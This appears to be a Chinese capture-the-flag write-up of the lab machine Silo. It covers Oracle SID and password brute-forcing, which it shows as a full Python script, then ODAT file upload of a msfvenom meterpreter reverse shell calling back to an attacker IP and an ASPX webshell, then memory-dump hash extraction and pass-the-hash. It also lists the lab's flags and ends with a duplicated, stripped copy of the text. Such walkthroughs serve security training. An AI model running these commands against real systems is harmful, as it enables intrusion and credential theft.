[Meachines] [Medium] Silo Oracle DB读写执行文件+Oracle DB SID枚举+Oracle DB 用户密码枚举+内存取证+Hash传递攻击
字数 1020 2025-08-20 18:18:17

Oracle数据库渗透测试与权限提升综合指南

信息收集阶段

1. 端口扫描与识别

使用Nmap进行全端口扫描:

nmap -p- 10.10.10.82 --min-rate 1000 -sC -sV -Pn

发现的关键端口:

  • 80/tcp: Microsoft IIS httpd 8.5
  • 135/tcp: Microsoft Windows RPC
  • 139/tcp: netbios-ssn
  • 445/tcp: microsoft-ds (Windows Server 2008 R2 - 2012)
  • 1521/tcp: Oracle TNS listener 11.2.0.2.0 (未授权)
  • 49160/tcp: Oracle TNS listener (需要服务名)

Oracle数据库攻击

1. SID枚举

使用Metasploit模块爆破Oracle SID:

msfconsole
use admin/oracle/sid_brute
set RHOSTS 10.10.10.82
run

发现的潜在SID:

  • XE
  • XEXDB
  • PLSExtProc
  • CLRExtProc

2. 用户密码枚举

使用Python脚本爆破Oracle用户凭据:

#!/usr/bin/env python
import cx_Oracle
import sys
from multiprocessing import Pool

MAX_PROC = 50
host = "10.10.10.82"
sid = "XE"

def scan(userpass):
    u, p = userpass.split(':')[:2]
    try:
        conn = cx_Oracle.connect('{user}/{pass_}@{ip}/{sid}'.format(
            user=u, pass_=p, ip=host, sid=sid))
        return u, p, True
    except cx_Oracle.DatabaseError:
        return u, p, False

def main(host, userpassfile, nprocs=MAX_PROC):
    with open(userpassfile, 'r') as f:
        userpass = f.read().rstrip().replace('\r','').split('\n')
    
    pool = Pool(processes=nprocs)
    for username, pass_, status in pool.imap_unordered(scan, [up for up in userpass]):
        if status:
            print("Found {} / {}\n\n".format(username, pass_))
        else:
            sys.stdout.write("\r {}/{} ".format(username, pass_))

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("{} [ip] [wordlist]".format(sys.argv[0]))
        print(" wordlist should be of the format [username]:[password]")
        sys.exit(1)
    main(sys.argv[1], sys.argv[2])

成功获取的凭据:

  • SCOTT:tiger

3. 数据库权限利用

使用ODAT工具进行权限检查:

odat all -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba

发现具有写文件和执行权限。

3.1 上传反向Shell

生成payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.24 LPORT=10032 -f exe -o /tmp/reverse_shell.exe --encoder x86/shikata_ga_nai

上传并执行:

odat utlfile -s 10.10.10.82 --sysdba -d XE -U scott -P tiger --putFile C:/ reverse_shell.exe /tmp/reverse_shell.exe
odat externaltable -s 10.10.10.82 --sysdba -d XE -U scott -P tiger --exec c:/reverse_shell.exe

3.2 上传WebShell

更隐蔽的方法:

odat utlfile -s 10.10.10.82 --sysdba -d XE -U scott -P tiger --putFile C:/inetpub/wwwroot shell.aspx /usr/share/webshells/aspx/cmdasp.aspx

权限提升

1. 内存取证

从Dropbox链接获取内存转储文件(SILO-20180105-221806.dmp)

使用Volatility进行分析:

识别系统profile:

sudo docker run --rm -it -v /tmp:/tmp phocean/volatility vol.py kdbgscan -f /tmp/SILO-20180105-221806.dmp

获取注册表hive列表:

sudo docker run --rm -it -v /tmp:/tmp phocean/volatility vol.py -f /tmp/SILO-20180105-221806.dmp --profile Win2012R2x64 hivelist

提取哈希:

sudo docker run --rm -it -v /tmp:/tmp phocean/volatility vol.py -f /tmp/SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump -y 0xffffc00000028000 -s 0xffffc00000619000

获取的NTLM哈希:

aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7

2. 哈希传递攻击

使用Impacket工具进行哈希传递:

impacket-psexec administrator@10.10.10.82 -hashes aad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7

关键文件

  • User.txt: ae508318075a2c95be891b11d8c79212
  • Root.txt: ef0298798ac15279f3b3aec8e4aa14e8

总结的技术要点

  1. Oracle数据库渗透流程:

    • SID枚举 → 用户爆破 → 权限检查 → 文件操作/命令执行
  2. 权限提升方法:

    • 内存取证获取哈希 → 哈希传递攻击
  3. 关键工具:

    • Nmap
    • Metasploit (sid_brute模块)
    • ODAT (Oracle数据库攻击工具)
    • Volatility (内存取证)
    • Impacket (哈希传递攻击)
  4. 防御建议:

    • 加强Oracle数据库默认凭据
    • 限制UTL_FILE等危险权限
    • 启用强密码策略
    • 禁用NTLM认证或启用Credential Guard
Oracle数据库渗透测试与权限提升综合指南 信息收集阶段 1. 端口扫描与识别 使用Nmap进行全端口扫描: 发现的关键端口: 80/tcp: Microsoft IIS httpd 8.5 135/tcp: Microsoft Windows RPC 139/tcp: netbios-ssn 445/tcp: microsoft-ds (Windows Server 2008 R2 - 2012) 1521/tcp: Oracle TNS listener 11.2.0.2.0 (未授权) 49160/tcp: Oracle TNS listener (需要服务名) Oracle数据库攻击 1. SID枚举 使用Metasploit模块爆破Oracle SID: 发现的潜在SID: XE XEXDB PLSExtProc CLRExtProc 2. 用户密码枚举 使用Python脚本爆破Oracle用户凭据: 成功获取的凭据: SCOTT:tiger 3. 数据库权限利用 使用ODAT工具进行权限检查: 发现具有写文件和执行权限。 3.1 上传反向Shell 生成payload: 上传并执行: 3.2 上传WebShell 更隐蔽的方法: 权限提升 1. 内存取证 从Dropbox链接获取内存转储文件(SILO-20180105-221806.dmp) 使用Volatility进行分析: 识别系统profile: 获取注册表hive列表: 提取哈希: 获取的NTLM哈希: 2. 哈希传递攻击 使用Impacket工具进行哈希传递: 关键文件 User.txt: ae508318075a2c95be891b11d8c79212 Root.txt: ef0298798ac15279f3b3aec8e4aa14e8 总结的技术要点 Oracle数据库渗透流程: SID枚举 → 用户爆破 → 权限检查 → 文件操作/命令执行 权限提升方法: 内存取证获取哈希 → 哈希传递攻击 关键工具: Nmap Metasploit (sid_ brute模块) ODAT (Oracle数据库攻击工具) Volatility (内存取证) Impacket (哈希传递攻击) 防御建议: 加强Oracle数据库默认凭据 限制UTL_ FILE等危险权限 启用强密码策略 禁用NTLM认证或启用Credential Guard